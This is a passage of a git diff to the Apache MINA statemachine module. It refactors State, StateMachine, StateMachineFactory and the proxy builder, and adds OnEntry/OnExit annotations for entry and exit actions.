instanceof State)) { - return false; - } if (o == this) { return true; } - State that = (State) o; - return new EqualsBuilder().append(this.id, that.id).isEquals(); + + if (!(o instanceof State)) { + return false; + } + + return id.equals(((State) o).id); } + /** + * {@inheritDoc} + */ @Override public int hashCode() { - return new HashCodeBuilder(13, 33).append(this.id).toHashCode(); + int h = 37; + + return h * 17 + id.hashCode(); } + /** + * {@inheritDoc} + */ @Override public String toString() { - return new ToStringBuilder(this).append("id", this.id).toString(); + StringBuilder sb = new StringBuilder(); + + sb.append("State["); + sb.append("id=").append(id); + sb.append("]"); + + return sb.toString(); } private static class TransitionHolder implements Comparable { - Transition transition; + private Transition transition; - int weight; + private int weight; TransitionHolder(Transition transition, int weight) { this.transition = transition; this.weight = weight; } + @Override public int compareTo(TransitionHolder o) { return (weight > o.weight) ? 1 : (weight < o.weight ? -1 : 0); } diff --git a/mina-statemachine/src/main/java/org/apache/mina/statemachine/StateMachine.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/StateMachine.java index 6f715519a1..e4fd0ecbdc 100644 --- a/mina-statemachine/src/main/java/org/apache/mina/statemachine/StateMachine.java +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/StateMachine.java @@ -21,14 +21,17 @@ import java.util.Collection; import java.util.Collections; +import java.util.Deque; import java.util.HashMap; import java.util.LinkedList; +import java.util.List; import java.util.Map; -import java.util.Stack; +import java.util.concurrent.ConcurrentLinkedDeque; import org.apache.mina.statemachine.context.StateContext; import org.apache.mina.statemachine.event.Event; import org.apache.mina.statemachine.event.UnhandledEventException; +import org.apache.mina.statemachine.transition.SelfTransition; import org.apache.mina.statemachine.transition.Transition; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -45,22 +48,27 @@ */ public class StateMachine { private static final Logger LOGGER = LoggerFactory.getLogger(StateMachine.class); + private static final String CALL_STACK = StateMachine.class.getName() + ".callStack"; + private final State startState; + private final Map states; private final ThreadLocal processingThreadLocal = new ThreadLocal() { + @Override protected Boolean initialValue() { return Boolean.FALSE; } }; private final ThreadLocal> eventQueueThreadLocal = new ThreadLocal>() { + @Override protected LinkedList initialValue() { - return new LinkedList(); + return new LinkedList<>(); } }; - + /** * Creates a new instance using the specified {@link State}s and start * state. @@ -69,10 +77,12 @@ protected LinkedList initialValue() { * @param startStateId the id of the start {@link State}. */ public StateMachine(State[] states, String startStateId) { - this.states = new HashMap(); + this.states = new HashMap<>(); + for (State s : states) { this.states.put(s.getId(), s); } + this.startState = getState(startStateId); } @@ -86,7 +96,7 @@ public StateMachine(State[] states, String startStateId) { public StateMachine(Collection states, String startStateId) { this(states.toArray(new State[0]), startStateId); } - + /** * Returns the {@link State} with the specified id. * @@ -94,24 +104,24 @@ public StateMachine(Collection states, String startStateId) { * @return the {@link State} * @throws NoSuchStateException if no matching {@link State} could be found. */ - public State getState(String id) throws NoSuchStateException { + public State getState(String id) { State state = states.get(id); + if (state == null) { throw new NoSuchStateException(id); } + return state; } /** - * Returns an unmodifiable {@link Collection} of all {@link State}s used by + * @return an unmodifiable {@link Collection} of all {@link State}s used by * this {@link StateMachine}. - * - * @return the {@link State}s. */ public Collection getStates() { return Collections.unmodifiableCollection(states.values()); } - + /** * Processes the specified {@link Event} through this {@link StateMachine}. * Normally you wouldn't call this directly but rather use @@ -135,22 +145,22 @@ public void handle(Event event) { * event. */ if (LOGGER.isDebugEnabled()) { - LOGGER.debug("State machine called recursively. Queuing event " + event - + " for later processing."); + LOGGER.debug("State machine called recursively. Queuing event {} for later processing.", event); } } else { processingThreadLocal.set(true); + try { if (context.getCurrentState() == null) { context.setCurrentState(startState); } + processEvents(eventQueue); } finally { processingThreadLocal.set(false); } } } - } private void processEvents(LinkedList eventQueue) { @@ -160,96 +170,97 @@ private void processEvents(LinkedList eventQueue) { handle(context.getCurrentState(), event); } } - + private void handle(State state, Event event) { StateContext context = event.getContext(); for (Transition t : state.getTransitions()) { if (LOGGER.isDebugEnabled()) { - LOGGER.debug("Trying transition " + t); + LOGGER.debug("Trying transition {}", t); } try { if (t.execute(event)) { if (LOGGER.isDebugEnabled()) { - LOGGER.debug("Transition " + t + " executed successfully."); + LOGGER.debug("Transition {} executed successfully.", t); } + setCurrentState(context, t.getNextState()); return; } } catch (BreakAndContinueException bace) { if (LOGGER.isDebugEnabled()) { - LOGGER.debug("BreakAndContinueException thrown in " - + "transition " + t - + ". Continuing with next transition."); + LOGGER.debug("BreakAndContinueException thrown in transition {}. Continuing with next transition.", t); } } catch (BreakAndGotoException bage) { State newState = getState(bage.getStateId()); if (bage.isNow()) { if (LOGGER.isDebugEnabled()) { - LOGGER.debug("BreakAndGotoException thrown in " - + "transition " + t + ". Moving to state " - + newState.getId() + " now."); + LOGGER.debug("BreakAndGotoException thrown in transition {}. Moving to state {} now", t, + newState.getId()); } + setCurrentState(context, newState); handle(newState, event); } else { if (LOGGER.isDebugEnabled()) { - LOGGER.debug("BreakAndGotoException thrown in " - + "transition " + t + ". Moving to state " - + newState.getId() + " next."); + LOGGER.debug("BreakAndGotoException thrown in transition {}. Moving to state {} next.", + t, newState.getId()); } + setCurrentState(context, newState); } + return; } catch (BreakAndCallException bace) { State newState = getState(bace.getStateId()); - Stack callStack = getCallStack(context); - State returnTo = bace.getReturnToStateId() != null - ? getState(bace.getReturnToStateId()) - : context.getCurrentState(); + Deque callStack = getCallStack(context); + State returnTo = bace.getReturnToStateId() != null ? getState(bace.getReturnToStateId()) : context + .getCurrentState(); callStack.push(returnTo); if (bace.isNow()) { if (LOGGER.isDebugEnabled()) { - LOGGER.debug("BreakAndCallException thrown in " - + "transition " + t + ". Moving to state " - + newState.getId() + " now."); + LOGGER.debug("BreakAndCallException thrown in transition {}. Moving to state {} now.", + t, newState.getId()); } + setCurrentState(context, newState); handle(newState, event); } else { if (LOGGER.isDebugEnabled()) { - LOGGER.debug("BreakAndCallException thrown in " - + "transition " + t + ". Moving to state " - + newState.getId() + " next."); + LOGGER.debug("BreakAndCallException thrown in transition {}. Moving to state {} next.", + t, newState.getId()); } + setCurrentState(context, newState); } + return; } catch (BreakAndReturnException bare) { - Stack callStack = getCallStack(context); + Deque callStack = getCallStack(context); State newState = callStack.pop(); if (bare.isNow()) { if (LOGGER.isDebugEnabled()) { - LOGGER.debug("BreakAndReturnException thrown in " - + "transition " + t + ". Moving to state " - + newState.getId() + " now."); + LOGGER.debug("BreakAndReturnException thrown in transition {}. Moving to state {} now.", + t, newState.getId()); } + setCurrentState(context, newState); handle(newState, event); } else { if (LOGGER.isDebugEnabled()) { - LOGGER.debug("BreakAndReturnException thrown in " - + "transition " + t + ". Moving to state " - + newState.getId() + " next."); + LOGGER.debug("BreakAndReturnException thrown in transition {}. Moving to state {} next.", + t, newState.getId()); } + setCurrentState(context, newState); } + return; } } @@ -258,7 +269,6 @@ private void handle(State state, Event event) { * No transition could handle the event. Try with the parent state if * there is one. */ - if (state.getParent() != null) { handle(state.getParent(), event); } else { @@ -266,13 +276,15 @@ private void handle(State state, Event event) { } } - private Stack getCallStack(StateContext context) { + private Deque getCallStack(StateContext context) { @SuppressWarnings("unchecked") - Stack callStack = (Stack) context.getAttribute(CALL_STACK); + Deque callStack = (Deque) context.getAttribute(CALL_STACK); + if (callStack == null) { - callStack = new Stack(); + callStack = new ConcurrentLinkedDeque<>(); context.setAttribute(CALL_STACK, callStack); } + return callStack; } @@ -280,12 +292,55 @@ private void setCurrentState(StateContext context, State newState) { if (newState != null) { if (LOGGER.isDebugEnabled()) { if (newState != context.getCurrentState()) { - LOGGER.debug("Leaving state " + context.getCurrentState().getId()); - LOGGER.debug("Entering state " + newState.getId()); + LOGGER.debug("Leaving state {}", context.getCurrentState().getId()); + LOGGER.debug("Entering state {}", newState.getId()); } } + + executeOnExits(context, context.getCurrentState()); + executeOnEntries(context, newState); context.setCurrentState(newState); } } - + + void executeOnExits(StateContext context, State state) { + List onExits = state.getOnExitSelfTransitions(); + boolean isExecuted = false; + + if (onExits != null) { + for (SelfTransition selfTransition : onExits) { + selfTransition.execute(context, state); + + if (LOGGER.isDebugEnabled()) { + isExecuted = true; + LOGGER.debug("Executing onEntry action for {}", state.getId()); + } + } + } + + if (LOGGER.isDebugEnabled() && !isExecuted) { + LOGGER.debug("No onEntry action for {}", state.getId()); + + } + } + + void executeOnEntries(StateContext context, State state) { + List onEntries = state.getOnEntrySelfTransitions(); + boolean isExecuted = false; + + if (onEntries != null) { + for (SelfTransition selfTransition : onEntries) { + selfTransition.execute(context, state); + + if (LOGGER.isDebugEnabled()) { + isExecuted = true; + LOGGER.debug("Executing onExit action for {}", state.getId()); + } + } + } + + if (LOGGER.isDebugEnabled() && !isExecuted) { + LOGGER.debug("No onEntry action for {}", state.getId()); + } + } } diff --git a/mina-statemachine/src/main/java/org/apache/mina/statemachine/StateMachineFactory.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/StateMachineFactory.java index e3c3888720..0ee85c9d0b 100644 --- a/mina-statemachine/src/main/java/org/apache/mina/statemachine/StateMachineFactory.java +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/StateMachineFactory.java @@ -32,16 +32,19 @@ import java.util.List; import java.util.Map; +import org.apache.mina.statemachine.annotation.OnEntry; +import org.apache.mina.statemachine.annotation.OnExit; import org.apache.mina.statemachine.annotation.Transition; import org.apache.mina.statemachine.annotation.TransitionAnnotation; import org.apache.mina.statemachine.annotation.Transitions; import org.apache.mina.statemachine.event.Event; +import org.apache.mina.statemachine.transition.MethodSelfTransition; import org.apache.mina.statemachine.transition.MethodTransition; - +import org.apache.mina.statemachine.transition.SelfTransition; /** * Creates {@link StateMachine}s by reading {@link org.apache.mina.statemachine.annotation.State}, - * {@link Transition} and {@link Transitions} (or equivalent) annotations from one or more arbitrary + * {@link Transition} and {@link Transitions} (or equivalent) and {@link SelfTransition} annotations from one or more arbitrary * objects. * * @@ -49,16 +52,25 @@ */ public class StateMachineFactory { private final Class transitionAnnotation; + private final Class transitionsAnnotation; - protected StateMachineFactory(Class transitionAnnotation, - Class transitionsAnnotation) { + private final Class entrySelfTransitionsAnnotation; + + private final Class exitSelfTransitionsAnnotation; + + protected StateMachineFactory(Class transitionAnnotation, + Class transitionsAnnotation, + Class entrySelfTransitionsAnnotation, + Class exitSelfTransitionsAnnotation) { this.transitionAnnotation = transitionAnnotation; this.transitionsAnnotation = transitionsAnnotation; + this.entrySelfTransitionsAnnotation = entrySelfTransitionsAnnotation; + this.exitSelfTransitionsAnnotation = exitSelfTransitionsAnnotation; } - + /** - * Returns a new {@link StateMachineFactory} instance which creates + * Returns a new {@link StateMachineFactory} instance which creates * {@link StateMachine}s by reading the specified {@link Transition} * equivalent annotation. * @@ -67,19 +79,21 @@ protected StateMachineFactory(Class transitionAnnotation, */ public static StateMachineFactory getInstance(Class transitionAnnotation) { TransitionAnnotation a = transitionAnnotation.getAnnotation(TransitionAnnotation.class); + if (a == null) { - throw new IllegalArgumentException("The annotation class " - + transitionAnnotation + " has not been annotated with the " - + TransitionAnnotation.class.getName() + " annotation"); + throw new IllegalArgumentException("The annotation class " + transitionAnnotation + + " has not been annotated with the " + TransitionAnnotation.class.getName() + " annotation"); } - return new StateMachineFactory(transitionAnnotation, a.value()); + + return new StateMachineFactory(transitionAnnotation, a.value(), OnEntry.class, OnExit.class); + } - + /** * Creates a new {@link StateMachine} from the specified handler object and * using a start state with id start. * - * @param handler the object containing the annotations describing the + * @param handler the object containing the annotations describing the * state machine. * @return the {@link StateMachine} object. */ @@ -92,7 +106,7 @@ public StateMachine create(Object handler) { * using the {@link State} with the specified id as start state. * * @param start the id of the start {@link State} to use. - * @param handler the object containing the annotations describing the + * @param handler the object containing the annotations describing the * state machine. * @return the {@link StateMachine} object. */ @@ -104,35 +118,35 @@ public StateMachine create(String start, Object handler) { * Creates a new {@link StateMachine} from the specified handler objects and * using a start state with id start. * - * @param handler the first object containing the annotations describing the + * @param handler the first object containing the annotations describing the * state machine. - * @param handlers zero or more additional objects containing the + * @param handlers zero or more additional objects containing the * annotations describing the state machine. * @return the {@link StateMachine} object. */ public StateMachine create(Object handler, Object... handlers) { return create("start", handler, handlers); } - + /** * Creates a new {@link StateMachine} from the specified handler objects and * using the {@link State} with the specified id as start state. * * @param start the id of the start {@link State} to use. - * @param handler the first object containing the annotations describing the + * @param handler the first object containing the annotations describing the * state machine. - * @param handlers zero or more additional objects containing the + * @param handlers zero or more additional objects containing the * annotations describing the state machine. * @return the {@link StateMachine} object. */ public StateMachine create(String start, Object handler, Object... handlers) { - - Map states = new HashMap(); - List handlersList = new ArrayList(1 + handlers.length); + + Map states = new HashMap<>(); + List handlersList = new ArrayList<>(1 + handlers.length); handlersList.add(handler); handlersList.addAll(Arrays.asList(handlers)); - - LinkedList fields = new LinkedList(); + + LinkedList fields = new LinkedList<>(); for (Object h : handlersList) { fields.addAll(getFields(h instanceof Class ? (Class) h : h.getClass())); } @@ -144,77 +158,124 @@ public StateMachine create(String start, Object handler, Object... handlers) { throw new StateMachineCreationException("Start state '" + start + "' not found."); } - setupTransitions(transitionAnnotation, transitionsAnnotation, states, handlersList); + setupTransitions(transitionAnnotation, transitionsAnnotation, entrySelfTransitionsAnnotation, + exitSelfTransitionsAnnotation, states, handlersList); return new StateMachine(states.values(), start); } - private static void setupTransitions(Class transitionAnnotation, - Class transitionsAnnotation, Map states, List handlers) { + private static void setupTransitions(Class transitionAnnotation, + Class transitionsAnnotation, + Class onEntrySelfTransitionAnnotation, + Class onExitSelfTransitionAnnotation, Map states, List handlers) { for (Object handler : handlers) { - setupTransitions(transitionAnnotation, transitionsAnnotation, states, handler); + setupTransitions(transitionAnnotation, transitionsAnnotation, onEntrySelfTransitionAnnotation, + onExitSelfTransitionAnnotation, states, handler); } } - - private static void setupTransitions(Class transitionAnnotation, - Class transitionsAnnotation, Map states, Object handler) { - + + private static void setupSelfTransitions(Method m, Class onEntrySelfTransitionAnnotation, + Class onExitSelfTransitionAnnotation, Map states, Object handler) { + if (m.isAnnotationPresent(OnEntry.class)) { + OnEntry onEntryAnnotation = (OnEntry) m.getAnnotation(onEntrySelfTransitionAnnotation); + State state = states.get(onEntryAnnotation.value()); + + if (state == null) { + throw new StateMachineCreationException("Error encountered " + + "when processing onEntry annotation in method " + m + ". state " + onEntryAnnotation.value() + + " not Found."); + + } + + state.addOnEntrySelfTransaction(new MethodSelfTransition(m, handler)); + } + + if (m.isAnnotationPresent(OnExit.class)) { + OnExit onExitAnnotation = (OnExit) m.getAnnotation(onExitSelfTransitionAnnotation); + State state = states.get(onExitAnnotation.value()); + + if (state == null) { + throw new StateMachineCreationException("Error encountered " + + "when processing onExit annotation in method " + m + ". state " + onExitAnnotation.value() + + " not Found."); + + } + + state.addOnExitSelfTransaction(new MethodSelfTransition(m, handler)); + } + + } + + private static void setupTransitions(Class transitionAnnotation, + Class transitionsAnnotation, + Class onEntrySelfTransitionAnnotation, + Class onExitSelfTransitionAnnotation, Map states, Object handler) { + Method[] methods = handler.getClass().getDeclaredMethods(); Arrays.sort(methods, new Comparator() { + @Override public int compare(Method m1, Method m2) { return m1.toString().compareTo(m2.toString()); } }); - + for (Method m : methods) { - List transitionAnnotations = new ArrayList(); + setupSelfTransitions(m, onEntrySelfTransitionAnnotation, onExitSelfTransitionAnnotation, states, handler); + + List transitionAnnotations = new ArrayList<>(); + if (m.isAnnotationPresent(transitionAnnotation)) { - transitionAnnotations.add(new TransitionWrapper(transitionAnnotation, m.getAnnotation(transitionAnnotation))); + transitionAnnotations.add(new TransitionWrapper(transitionAnnotation, m + .getAnnotation(transitionAnnotation))); } + if (m.isAnnotationPresent(transitionsAnnotation)) { - transitionAnnotations.addAll(Arrays.asList(new TransitionsWrapper(transitionAnnotation, + transitionAnnotations.addAll(Arrays.asList(new TransitionsWrapper(transitionAnnotation, transitionsAnnotation, m.getAnnotation(transitionsAnnotation)).value())); } - + if (transitionAnnotations.isEmpty()) { continue; } - + for (TransitionWrapper annotation : transitionAnnotations) { Object[] eventIds = annotation.on(); + if (eventIds.length == 0) { - throw new StateMachineCreationException("Error encountered " - + "when processing method " + m + throw new StateMachineCreationException("Error encountered when processing method " + m + ". No event ids specified."); } + if (annotation.in().length == 0) { - throw new StateMachineCreationException("Error encountered " - + "when processing method " + m + throw new StateMachineCreationException("Error encountered when processing method " + m + ". No states specified."); } - + State next = null; + if (!annotation.next().equals(Transition.SELF)) { next = states.get(annotation.next()); + if (next == null) { - throw new StateMachineCreationException("Error encountered " - + "when processing method " + m + throw new StateMachineCreationException("Error encountered when processing method " + m + ". Unknown next state: " + annotation.next() + "."); } } - + for (Object event : eventIds) { if (event == null) { event = Event.WILDCARD_EVENT_ID; } + if (!(event instanceof String)) { event = event.toString(); } + for (String in : annotation.in()) { State state = states.get(in); + if (state == null) { - throw new StateMachineCreationException("Error encountered " - + "when processing method " + throw new StateMachineCreationException("Error encountered when processing method " + m + ". Unknown state: " + in + "."); } @@ -226,21 +287,17 @@ public int compare(Method m1, Method m2) { } static List getFields(Class clazz) { - LinkedList fields = new LinkedList(); + LinkedList fields = new LinkedList<>(); for (Field f : clazz.getDeclaredFields()) { if (!f.isAnnotationPresent(org.apache.mina.statemachine.annotation.State.class)) { continue; } - if ((f.getModifiers() & Modifier.STATIC) == 0 - || (f.getModifiers() & Modifier.FINAL) == 0 + if ((f.getModifiers() & Modifier.STATIC) == 0 || (f.getModifiers() & Modifier.FINAL) == 0 || !f.getType().equals(String.class)) { - throw new StateMachineCreationException("Error encountered when " - + "processing field " + f - + ". Only static final " - + "String fields can be used with the @State " - + "annotation."); + throw new StateMachineCreationException("Error encountered when processing field " + f + + ". Only static final String fields can be used with the @State annotation."); } if (!f.isAccessible()) { @@ -252,26 +309,29 @@ static List getFields(Class clazz) { return fields; } - + static State[] createStates(List fields) { - LinkedHashMap states = new LinkedHashMap(); + LinkedHashMap states = new LinkedHashMap<>(); while (!fields.isEmpty()) { int size = fields.size(); int numStates = states.size(); + for (int i = 0; i < size; i++) { Field f = fields.remove(0); String value = null; + try { value = (String) f.get(null); } catch (IllegalAccessException iae) { - throw new StateMachineCreationException("Error encountered when " - + "processing field " + f + ".", iae); + throw new StateMachineCreationException("Error encountered when processing field " + f + ".", + iae); } org.apache.mina.statemachine.annotation.State stateAnnotation = f .getAnnotation(org.apache.mina.statemachine.annotation.State.class); + if (stateAnnotation.value().equals(org.apache.mina.statemachine.annotation.State.ROOT)) { states.put(value, new State(value)); } else if (states.containsKey(stateAnnotation.value())) { @@ -284,82 +344,98 @@ static State[] createStates(List fields) { } /* - * If no new states were added to states during this iteration it + * If no new states were added to states during this iteration it * means that all fields in fields specify non-existent parents. */ if (states.size() == numStates) { throw new StateMachineCreationException("Error encountered while creating " - + "FSM. The following fields specify non-existing " - + "parent states: " + fields); + + "FSM. The following fields specify non-existing parent states: " + fields); } } return states.values().toArray(new State[0]); } - + private static class TransitionWrapper { private final Class transitionClazz; + private final Annotation annotation; + public TransitionWrapper(Class transitionClazz, Annotation annotation) { this.transitionClazz = transitionClazz; this.annotation = annotation; } + Object[] on() { return getParameter("on", Object[].class); } + String[] in() { return getParameter("in", String[].class); } + String next() { return getParameter("next", String.class); } + int weight() { return getParameter("weight", Integer.TYPE); } + @SuppressWarnings("unchecked") private T getParameter(String name, Class returnType) { try { Method m = transitionClazz.getMethod(name); + if (!returnType.isAssignableFrom(m.getReturnType())) { throw new NoSuchMethodException(); } return (T) m.invoke(annotation); - } catch (Throwable t) { - throw new StateMachineCreationException("Could not get parameter '" - + name + "' from Transition annotation " + transitionClazz); + } catch (Exception e) { + throw new StateMachineCreationException("Could not get parameter '" + name + + "' from Transition annotation " + transitionClazz); } } } - + private static class TransitionsWrapper { private final Class transitionsclazz; + private final Class transitionClazz; + private final Annotation annotation; - public TransitionsWrapper(Class transitionClazz, + + public TransitionsWrapper(Class transitionClazz, Class transitionsclazz, Annotation annotation) { this.transitionClazz = transitionClazz; this.transitionsclazz = transitionsclazz; this.annotation = annotation; } + TransitionWrapper[] value() { Annotation[] annos = getParameter("value", Annotation[].class); TransitionWrapper[] wrappers = new TransitionWrapper[annos.length]; + for (int i = 0; i < annos.length; i++) { wrappers[i] = new TransitionWrapper(transitionClazz, annos[i]); } + return wrappers; } + @SuppressWarnings("unchecked") private T getParameter(String name, Class returnType) { try { Method m = transitionsclazz.getMethod(name); + if (!returnType.isAssignableFrom(m.getReturnType())) { throw new NoSuchMethodException(); } + return (T) m.invoke(annotation); - } catch (Throwable t) { - throw new StateMachineCreationException("Could not get parameter '" - + name + "' from Transitions annotation " + transitionsclazz); + } catch (Exception e) { + throw new StateMachineCreationException("Could not get parameter '" + name + + "' from Transitions annotation " + transitionsclazz); } } } diff --git a/mina-statemachine/src/main/java/org/apache/mina/statemachine/StateMachineProxyBuilder.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/StateMachineProxyBuilder.java index 70aa63924c..f4370aa540 100644 --- a/mina-statemachine/src/main/java/org/apache/mina/statemachine/StateMachineProxyBuilder.java +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/StateMachineProxyBuilder.java @@ -41,8 +41,7 @@ * @author Apache MINA Project */ public class StateMachineProxyBuilder { - private static final Logger log = LoggerFactory - .getLogger(StateMachineProxyBuilder.class); + private static final Logger LOGGER = LoggerFactory.getLogger(StateMachineProxyBuilder.class); private static final Object[] EMPTY_ARGUMENTS = new Object[0]; @@ -55,15 +54,18 @@ public class StateMachineProxyBuilder { private boolean ignoreUnhandledEvents = false; private boolean ignoreStateContextLookupFailure = false; - + private String name = null; /* - * The classloader to use. Iif null we will use the current thread's + * The classloader to use. If null we will use the current thread's * context classloader. */ - private ClassLoader defaultCl = null; + private ClassLoader defaultCl = null; + /** + * Creates a new StateMachineProxyBuilder instance + */ public StateMachineProxyBuilder() { } @@ -79,7 +81,7 @@ public StateMachineProxyBuilder setName(String name) { this.name = name; return this; } - + /** * Sets the {@link StateContextLookup} to be used. The default is to use * a {@link SingletonStateContextLookup}. @@ -87,8 +89,7 @@ public StateMachineProxyBuilder setName(String name) { * @param contextLookup the {@link StateContextLookup} to use. * @return this {@link StateMachineProxyBuilder} for method chaining. */ - public StateMachineProxyBuilder setStateContextLookup( - StateContextLookup contextLookup) { + public StateMachineProxyBuilder setStateContextLookup(StateContextLookup contextLookup) { this.contextLookup = contextLookup; return this; } @@ -112,8 +113,7 @@ public StateMachineProxyBuilder setEventFactory(EventFactory eventFactory) { * @param interceptor the {@link EventArgumentsInterceptor} to use. * @return this {@link StateMachineProxyBuilder} for method chaining. */ - public StateMachineProxyBuilder setEventArgumentsInterceptor( - EventArgumentsInterceptor interceptor) { + public StateMachineProxyBuilder setEventArgumentsInterceptor(EventArgumentsInterceptor interceptor) { this.interceptor = interceptor; return this; } @@ -161,6 +161,7 @@ public StateMachineProxyBuilder setClassLoader(ClassLoader cl) { * Creates a proxy for the specified interface and which uses the specified * {@link StateMachine}. * + * @param The specified interface type * @param iface the interface the proxy will implement. * @param sm the {@link StateMachine} which will receive the events * generated by the method calls on the proxy. @@ -183,30 +184,34 @@ public T create(Class iface, StateMachine sm) { public Object create(Class[] ifaces, StateMachine sm) { ClassLoader cl = defaultCl; if (cl == null) { - cl = Thread.currentThread().getContextClassLoader(); + cl = Thread.currentThread().getContextClassLoader(); } - InvocationHandler handler = new MethodInvocationHandler(sm, - contextLookup, interceptor, eventFactory, + InvocationHandler handler = new MethodInvocationHandler(sm, contextLookup, interceptor, eventFactory, ignoreUnhandledEvents, ignoreStateContextLookupFailure, name); return Proxy.newProxyInstance(cl, ifaces, handler); } - + private static class MethodInvocationHandler implements InvocationHandler { private final StateMachine sm; + private final StateContextLookup contextLookup; + private final EventArgumentsInterceptor interceptor; + private final EventFactory eventFactory; + private final boolean ignoreUnhandledEvents; + private final boolean ignoreStateContextLookupFailure; + private final String name; - + public MethodInvocationHandler(StateMachine sm, StateContextLookup contextLookup, - EventArgumentsInterceptor interceptor, EventFactory eventFactory, - boolean ignoreUnhandledEvents, boolean ignoreStateContextLookupFailure, - String name) { - + EventArgumentsInterceptor interceptor, EventFactory eventFactory, boolean ignoreUnhandledEvents, + boolean ignoreStateContextLookupFailure, String name) { + this.contextLookup = contextLookup; this.sm = sm; this.interceptor = interceptor; @@ -215,24 +220,27 @@ public MethodInvocationHandler(StateMachine sm, StateContextLookup contextLookup this.ignoreStateContextLookupFailure = ignoreStateContextLookupFailure; this.name = name; } - + public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { if ("hashCode".equals(method.getName()) && args == null) { - return new Integer(System.identityHashCode(proxy)); + return Integer.valueOf(System.identityHashCode(proxy)); } + if ("equals".equals(method.getName()) && args.length == 1) { return Boolean.valueOf(proxy == args[0]); } + if ("toString".equals(method.getName()) && args == null) { - return (name != null ? name : proxy.getClass().getName()) + "@" + return (name != null ? name : proxy.getClass().getName()) + "@" + Integer.toHexString(System.identityHashCode(proxy)); } - if (log.isDebugEnabled()) { - log.debug("Method invoked: " + method); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("Method invoked: " + method); } args = args == null ? EMPTY_ARGUMENTS : args; + if (interceptor != null) { args = interceptor.modify(args); } @@ -243,8 +251,8 @@ public Object invoke(Object proxy, Method method, Object[] args) throws Throwabl if (ignoreStateContextLookupFailure) { return null; } - throw new IllegalStateException("Cannot determine state " - + "context for method invocation: " + method); + + throw new IllegalStateException("Cannot determine state context for method invocation: " + method); } Event event = eventFactory.create(context, method, args); diff --git a/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/IoFilterTransition.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/IoFilterTransition.java index de3a186ea4..a9eb85d9e1 100644 --- a/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/IoFilterTransition.java +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/IoFilterTransition.java @@ -41,26 +41,26 @@ @TransitionAnnotation(IoFilterTransitions.class) public @interface IoFilterTransition { /** - * Specifies the ids of one or more events handled by the annotated method. If + * @return Specifies the ids of one or more events handled by the annotated method. If * not specified the handler method will be executed for any event. */ IoFilterEvents[] on() default IoFilterEvents.ANY; /** - * The id of the state or states that this handler applies to. Must be + * @return The id of the state or states that this handler applies to. Must be * specified. */ String[] in(); /** - * The id of the state the {@link StateMachine} should move to next after + * @return The id of the state the {@link StateMachine} should move to next after * executing the annotated method. If not specified the {@link StateMachine} * will remain in the same state. */ String next() default Transition.SELF; /** - * The weight used to order handler annotations which match the same event + * @return The weight used to order handler annotations which match the same event * in the same state. Transitions with lower weight will be matched first. The * default weight is 0. */ diff --git a/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/IoFilterTransitions.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/IoFilterTransitions.java index 7a7855e19e..17e443974f 100644 --- a/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/IoFilterTransitions.java +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/IoFilterTransitions.java @@ -37,5 +37,8 @@ @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.METHOD) public @interface IoFilterTransitions { + /** + * @return The list of {@link IoFilterTransition}s + */ IoFilterTransition[] value(); } diff --git a/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/IoHandlerTransition.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/IoHandlerTransition.java index f2d223a56f..e502bf06a9 100644 --- a/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/IoHandlerTransition.java +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/IoHandlerTransition.java @@ -41,26 +41,26 @@ @TransitionAnnotation(IoHandlerTransitions.class) public @interface IoHandlerTransition { /** - * Specifies the ids of one or more events handled by the annotated method. If + * @return Specifies the ids of one or more events handled by the annotated method. If * not specified the handler method will be executed for any event. */ IoHandlerEvents[] on() default IoHandlerEvents.ANY; /** - * The id of the state or states that this handler applies to. Must be + * @return The id of the state or states that this handler applies to. Must be * specified. */ String[] in(); /** - * The id of the state the {@link StateMachine} should move to next after + * @return The id of the state the {@link StateMachine} should move to next after * executing the annotated method. If not specified the {@link StateMachine} * will remain in the same state. */ String next() default Transition.SELF; /** - * The weight used to order handler annotations which match the same event + * @return The weight used to order handler annotations which match the same event * in the same state. Transitions with lower weight will be matched first. The * default weight is 0. */ diff --git a/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/IoHandlerTransitions.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/IoHandlerTransitions.java index bddc3747c6..b2c08062f5 100644 --- a/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/IoHandlerTransitions.java +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/IoHandlerTransitions.java @@ -37,5 +37,8 @@ @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.METHOD) public @interface IoHandlerTransitions { + /** + * @return The list of {@link IoHandlerTransition}s + */ IoHandlerTransition[] value(); } diff --git a/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/OnEntry.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/OnEntry.java new file mode 100644 index 0000000000..62ad3ac56a --- /dev/null +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/OnEntry.java @@ -0,0 +1,42 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR 